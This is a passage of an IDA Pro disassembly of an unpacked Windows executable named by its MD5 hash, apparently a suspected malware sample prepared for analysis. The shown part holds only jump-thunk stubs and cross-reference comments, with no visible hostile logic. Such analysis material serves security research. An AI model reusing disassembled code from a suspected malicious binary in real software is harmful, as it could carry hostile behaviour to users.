; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 0BC76628E2E38D761703F48475128B7A ; File Name : u:\work\0bc76628e2e38d761703f48475128b7a_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00110000 (1114112.) ; Section size in file : 00110000 (1114112.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_42F630 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43E09Co jmp loc_412CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421AF0+29p jmp sub_422050 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_431250 ; --------------------------------------------------------------------------- jmp loc_420DA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004118E3p jmp sub_411910 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B1BDp ; ___:0040B1CAp ... jmp sub_403C00 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FA90+34p jmp sub_40B000 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404C70+619p ; sub_404C70+6D8p ... jmp sub_40A030 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42A100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_413510+3Bp ; ___:00414B30p jmp sub_4155E0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_42F840+6Ep ; sub_42F840+8Ap ... jmp sub_432FE0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:0042EF22p ; sub_42F840+3Fp ... jmp sub_432E60 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423940 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D130 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B000+3Ap ; sub_40B070+1Ap jmp sub_432980 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E660+37Bp jmp sub_421C30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C0C0+8p jmp sub_40C280 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_431900+5Ap ; sub_433710+50p jmp sub_4318C0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43E07Co jmp sub_41C610 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416EAAp jmp sub_41FBD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40BF60+32p jmp sub_40C120 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416EBAp jmp sub_418290 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415830+5Ep ; sub_416280+32p jmp sub_4161C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E660+161p ; sub_4223E0+3p jmp sub_421A50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ACE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421C30+3p ; ___:00421FFFp ... jmp sub_422170 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C400+43p jmp sub_40CAD0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_427FF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_407570+Ap jmp sub_407610 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p ; sub_424790+6p ... jmp sub_424500 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p ; sub_430C00+14Fp jmp sub_432DF0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p jmp sub_430990 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043E174o jmp sub_429DC0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43E0A0o jmp loc_41E2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418330+D0p ; sub_418490+2Dp jmp sub_418A20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p ; sub_40FF60+990p ... jmp sub_411860 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:0042F336p ; ___:0042F3A4p ... jmp sub_430F00 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421D50+9p ; sub_422240+18p jmp sub_4223C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p ; sub_40A9F0+82p ... jmp sub_40ABE0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p ; ___:00423AA6p ... jmp sub_419AE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416010+7p jmp sub_416640 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415520+4Fp ; sub_415E70+11p ... jmp sub_4160C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_429C30+58p jmp sub_429AA0 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp jmp sub_421CB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_421FB0+11p ; ___:00421FD7p ... jmp sub_4224D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413D60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421A30+3p ; ___:00421D9Fp ... jmp sub_421F10 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_414400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_426F20+3p jmp sub_426F50 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415A00+11p ; ___:00415A27p ... jmp sub_416470 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_433310 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421B60+5p ; sub_421C50+6p ... jmp sub_422150 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416A5Bp ; ___:00439F5Ej ... jmp sub_417A60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404C70+6Ap ; sub_404C70+1AFp ... jmp sub_412970 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43E074o jmp sub_4192C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_431A20+6p ; ___:00431A33p ... jmp sub_42F480 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42E3D0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43E15Co jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423C9Dp jmp sub_423760 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_431F50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:004150A8p jmp sub_415990 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41B950+F7p ; sub_41B950+10Bp ... jmp sub_409EA0 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_409910+Ap jmp sub_409A00 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4133D0+55p ; sub_4133D0+94p ... jmp sub_415770 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425020+183p jmp sub_4235F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414BBEp jmp sub_415520 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_427600+3p jmp sub_427630 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43E038o jmp loc_4118E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415DD0+11p ; ___:00415DF7p ... jmp sub_4165F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418B10+23p ; sub_418D80+11p jmp sub_418E60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418A90+3p ; sub_418E90+54p ... jmp sub_418CE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_409600+6Ap ; sub_409600+103p jmp sub_4098A0 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_432840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413D7Dp jmp sub_413B70 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A1E4p jmp sub_41AFE0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4133D0+88p ; sub_4147D0+BFp ... jmp sub_415930 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_42F480+7p ; sub_42F4F0+19p ... jmp sub_4338B0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DB10 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:004310AAp jmp sub_430A50 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_4071E0+11p ; sub_407370+1Fp jmp sub_407410 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p ; sub_4036D0+3C5p ... jmp sub_403E00 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421C10+3p jmp sub_422190 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C250+Ap jmp sub_40C310 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp ; sub_407030+1Fp ... jmp sub_403C70 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413274p ; ___:0043998Cj ... jmp sub_4153B0 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42B350+3p jmp sub_42B380 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AF00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414BCDp jmp sub_414C70 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407610+7p ; sub_409A00+7p ... jmp sub_407640 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_413510+73p ; ___:00414B6Dp ... jmp sub_415600 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E660+58p jmp sub_420530 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413DA0+84p jmp sub_4137E0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00432428p jmp sub_42FD70 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p jmp sub_4075A0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp ; sub_404C70+230p ... jmp sub_40A430 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A790+21p ; sub_40A9F0+A5p jmp sub_40A9D0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40AF70 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A430+129p ; sub_40A810+4p ... jmp sub_40A7E0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo jmp sub_426650 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004322BDp jmp sub_42FA70 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_4072F0+3p ; ___:004073BFp ... jmp sub_407480 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D830+346p ; sub_41D830+410p ... jmp sub_421870 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421AB0+11p ; sub_421FB0+1Fp jmp sub_4220E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42B4F0+3p jmp sub_42B520 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_407790 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C120+5Fp jmp sub_40C2F0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_4034E0+F6p ; sub_4034E0+12Ep ... jmp sub_409C30 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E660+113p ; sub_41E660+124p jmp sub_421A30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043E060o jmp sub_41F860 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416AFBp ; ___:00439ED2j ... jmp sub_4176B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp jmp sub_42FF50 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418B10+32p jmp sub_418D80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_433570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415420+5p ; sub_415620+6p ... jmp sub_416030 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BCB0+29p ; sub_40BDD0+29p jmp sub_40BF60 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E660+3E9p ; ___:0043B1ABj jmp sub_421AF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4144D0+BFp jmp sub_415210 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4164E0+Ap jmp sub_416820 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416B67p ; ___:00439E73j ... jmp sub_416FB0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418330 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416E1Fp jmp sub_417FD0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414690 ; --------------------------------------------------------------------------- jmp loc_42F030 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_40FF60+387p ; sub_41EF30+21Dp ... jmp sub_41B6E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416E5Ap jmp sub_418180 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409490+8p jmp sub_4094E0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_409600+A5p ; sub_412BC0+21p jmp sub_409810 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404C70+385p ; sub_41D830+5AAp jmp sub_41C030 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416D6Fp jmp sub_4036D0 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p ; sub_418E90+11p jmp sub_418FE0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424840+Cp ; sub_424840+3Ep ... jmp sub_424330 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_42F670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404C70+860p ; sub_404C70+ADCp ... jmp sub_40A290 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042EB16p ; ___:0042EB66p ... jmp sub_431490 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E660+367p ; sub_41E660+3D4p ... jmp sub_421C80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_426A60+107o jmp sub_426CE0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424720+18p ; sub_424760+Ap ... jmp sub_4246D0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416120+9p ; sub_4161C0+18p jmp sub_4167D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_431280+32o jmp sub_431A80 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42EB60 ; --------------------------------------------------------------------------- jmp loc_419BB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_429AA0+67p jmp sub_41FEF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p ; sub_42F0B0+2p ... jmp sub_430270 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp ; sub_4144D0+40p ... jmp sub_415160 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404640+19Fp ; sub_404640+212p ... jmp sub_409EF0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p ; sub_424E90+F1p jmp sub_424E20 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425020+127p jmp sub_424E90 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416E3Ap jmp sub_418080 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416E0Fp jmp sub_417F10 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4303D0+1p jmp sub_430460 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00425F11p jmp sub_426450 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418330+71p ; sub_418330+BBp ... jmp sub_4189F0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A0A0+7p jmp sub_40A0C0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004316D8p ; sub_431730+2Bp jmp sub_431900 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_431280+1p jmp sub_4314C0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp jmp sub_421BD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414360+5Bp jmp sub_415030 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_4153B0+29p ; sub_4154D0+29p jmp sub_415F30 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00435F42p ; ___:00435F52p ... jmp sub_435E00 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp ; sub_4133D0+9Ep ... jmp sub_415960 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B520+62p ; ___:0040B9E8p ... jmp sub_40BE60 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4300C0 ; --------------------------------------------------------------------------- jmp loc_42EC40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40134D proc near ; DATA XREF: ___:0043E1A8o jmp sub_42B3A0 sub_40134D endp ; --------------------------------------------------------------------------- jmp loc_42B2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416090+8p jmp sub_4166B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4133D0+71p ; sub_4133D0:loc_41349Cp ... jmp sub_415910 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418330+AFp ; sub_418FE0+3p jmp sub_418AB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043E104o jmp sub_426A60 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B520+39p ; sub_40B520+78p ... jmp sub_40BE90 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_4257A0+29p ; sub_4257A0+38p jmp sub_4256B0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A500+1Cp jmp sub_41A540 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043E164o jmp sub_429C30 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408BD9p ; ___:00414481p jmp sub_414230 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418490+72p jmp sub_406C30 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409D20+7p ; sub_409E70+7p ... jmp sub_40A700 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43E080o jmp sub_422A40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413AE0 ; --------------------------------------------------------------------------- jmp sub_42B350 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418900+11p ; sub_421CB0+1Fp jmp sub_418C50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B2D0 loc_4013A2: ; CODE XREF: sub_42B2D0+3j jmp sub_42A810 ; END OF FUNCTION CHUNK FOR sub_42B2D0 ; --------------------------------------------------------------------------- jmp sub_42B4F0 ; --------------------------------------------------------------------------- jmp loc_42EBB0 ; --------------------------------------------------------------------------- jmp loc_414A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp jmp sub_407370 sub_4013B6 endp ; --------------------------------------------------------------------------- jmp loc_42E7B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p ; ___:00416AEBp ... jmp sub_40FDA0 sub_4013C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013C5 proc near ; CODE XREF: sub_425270+Cp ; sub_4253E0+Ap ... jmp sub_425230 sub_4013C5 endp ; --------------------------------------------------------------------------- jmp loc_40D2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CF proc near ; CODE XREF: sub_40A8C0+20p jmp sub_40A9F0 sub_4013CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: sub_40FF60+AFDp ; sub_40FF60+E71p ... jmp 